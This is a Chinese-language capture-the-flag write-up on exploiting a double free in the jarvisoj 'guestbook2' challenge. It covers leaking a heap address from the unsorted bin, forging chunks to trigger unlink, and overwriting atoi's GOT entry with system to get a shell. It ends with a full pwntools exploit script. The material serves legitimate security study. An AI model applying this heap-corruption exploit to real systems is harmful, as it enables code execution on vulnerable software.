Double Free浅析(泄露堆地址的一种方法)
Double Free其實就是同一個指針free兩次。雖然一般把它叫做double free。其實只要是free一個指向堆內存的指針都有可能產生可以利用的漏洞。
double free的原理其實和堆溢出的原理差不多,都是通過unlink這個雙向鏈表刪除的宏來利用的。只是double free需要由自己來偽造整個chunk并且欺騙操作系統
所以好像和普通的堆溢出偽造chunk然后free觸發unlink造成固定地址寫,并進而造成任意地址讀和任意地址寫。
參考文章
我也不知道哪位大佬寫的資料1
Linux堆漏洞之Double free 不要說話
jarvisoj Guestbook2 ? ? ? ? ?wooy0ung
拿jarvisoj上的一道guestbook2來作為例子。
0x00 泄露堆地址
首先涉及到關于unsorted bin的一些知識:
? ? ? unsorted bin 的隊列使用 bins 數組的第一個,如果被用戶釋放的 chunk 大于 max_fast,或者 fast bins 中的空閑 chunk 合并后,這些 chunk 首先會被放到 unsorted bin 隊列中。
? ? ? 詳細的可以閱讀glibc內存管理ptmalloc2源碼分析一文。
為了偽造chunk通過unlink的驗證,我們需要找到一個指向堆地址的指針,之前寫的unlink淺析里面有提到,程序功能常常使用一個chunk_list來存儲所有malloc申請到的內存,那么chunk_list就可以作為我們指向堆地址的指針。這道題里則是先malloc一塊大的內存作為chunk_list,所以我們需要先泄露得到chunk_list的地址,從而偽造chunk。
add('a')
add('a')
add('a')
add('a')
remove(0)
remove(2)
釋放0號堆塊時,由于其前后都不是空閑堆塊所以不會發生合并,又因為大小為0x80所以會被放入unsorted bin當中,此時fd 和 bk都指向main arena中的一塊區域,此時可以通過uaf泄露libc基址(可以參考UAF獲取main_arena地址泄露libc基址,這道題沒有采用此方法);同樣的,釋放2號堆塊時也不會發生合并,且被放入unsorted bin,并和0號堆塊構成雙向鏈表:
此時chunk0的bk是指向chunk2的,由于程序讀取輸入后沒有在結尾加'\x00'之類的截斷,這里可以通過:
add('12345678')
show()
新申請的’12345678‘將覆蓋chunk0的fd,printf('%s')會連帶著把后面的指向chunk2的bk也打印出來,完成堆地址的泄露。
因為是第2個堆塊,所以:
heap_base=heap_addr - (0x80+0x10)*2 - (0x1810+0x10)
獲得了heap_base之后我們就可以計算指向所有申請的chunk的指針,這里我們利用chunk0來進行unlink,其相對heap_base的偏移地址為0x30:
chunk_addr=heap_base+0x30
完成泄露后把所有的chunk都釋放掉:
remove(0)
remove(1)
remove(3)
0x01 偽造chunk
現在的堆塊狀態:
1.首先在chunk0的data區域偽造presize、size、fd和bk,原理和布局同unlink
2.接著在chunk1的data區域添加0x80大小的paddings,溢出到chunk2的起始位置,偽造presize和size
偽造的堆塊:
通過設置chunk0的size和chunk2的presize使得fake chunk0變成一個大小為0x80+0x90的大堆塊,且作為chunk2的前一個堆塊,通過設置chunk2的size使得fake chunk0看起來是空閑的。
chunk3和chunk4的作用是防止free(chunk2)時發生向前合并。
這樣free(chunk2)時發生向后合并,執行unlink(fake chunk0),向chunk_addr的位置寫入chunk_addr - 0x18
接著調用edit(0)將可控chunk_addr位置的8字節
0x02 leak libc & get shell
類似unlink的利用方法,向*(chunk_addr)寫入0x18字節的paddings,接著將覆蓋chunk_addr的內容,這里還要考慮到程序定義的結構體里的inuse位和note length,所以payload應為:
payload='a'*8+p64(1)+p64(8)+p64(e.got['atoi']) ? ?#set inuse 1 , and set length 8
edit(0,payload)
緊接著show(0)將泄露出atoi的實際地址,從而leak libc基址
同樣的:
edit(0 , p64(system_addr))
將把atoi的got表寫入system的地址,然后在選擇功能的時候輸入'/bin'sh',程序將會執行atoi('/bin/sh'),實際上就是執行了system('/bin/sh')
get shell!
附上exp:
from pwn import *
p=process('./guestbook2')
e=ELF('./guestbook2')
libc=ELF('./libc-2.25.so')
def add(data):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new post: ')
p.sendline(str(len(data)))
p.recvuntil('Enter your post: ')
p.send(data)
def show():
p.recvuntil('Your choice: ')
p.sendline('1')
def edit(index,data):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Post number: ')
p.sendline(str(index))
p.recvuntil('Length of post: ')
p.sendline(str(len(data)))
p.recvuntil('Enter your post: ')
p.send(data)
def remove(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Post number: ')
p.sendline(str(index))
add('a')
add('a')
add('a')
add('a')
remove(0)
remove(2)
add('12345678')
show()
p.recvuntil('12345678')
heap_addr=u64(p.recv(4).ljust(8,'\x00'))
heap_base=heap_addr-0x1810-0x10-0x120
chunk_addr=heap_base+0x30
print 'heap base address: ',hex(heap_base)
print 'chunk list address: ',hex(chunk_addr)
remove(0)
remove(1)
remove(3)
gdb.attach(p,'b* 0x400bc2')
size0 = 0x90+0x80
add(p64(0)+p64(size0+1)+p64(chunk_addr-0x18)+p64(chunk_addr-0x10))
add("a"*0x80+p64(size0)+p64(0x90)+"a"*0x80+(p64(0)+p64(0x91)+"a"*0x80)*2)
remove(2)
payload='a'*8+p64(1)+p64(8)+p64(e.got['atoi'])
edit(0,payload)
show()
p.recvuntil('0. ')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(leak_addr)
libc_base=leak_addr-libc.symbols['atoi']
system_addr=libc_base+libc.symbols['system']
print 'system_address: ',hex(system_addr)
#gdb.attach(p,'b* 0x400f7c')
edit(0,p64(system_addr))
p.recvuntil('Your choice: ')
p.sendline('/bin/sh')
p.interactive()
作者:BJChangAn
鏈接:https://www.jianshu.com/p/72177311e2ae
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
總結
以上是生活随笔為你收集整理的Double Free浅析(泄露堆地址的一种方法)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Android BlueBorne (C
- 下一篇: 将一个指针 free 两次之后会发生什么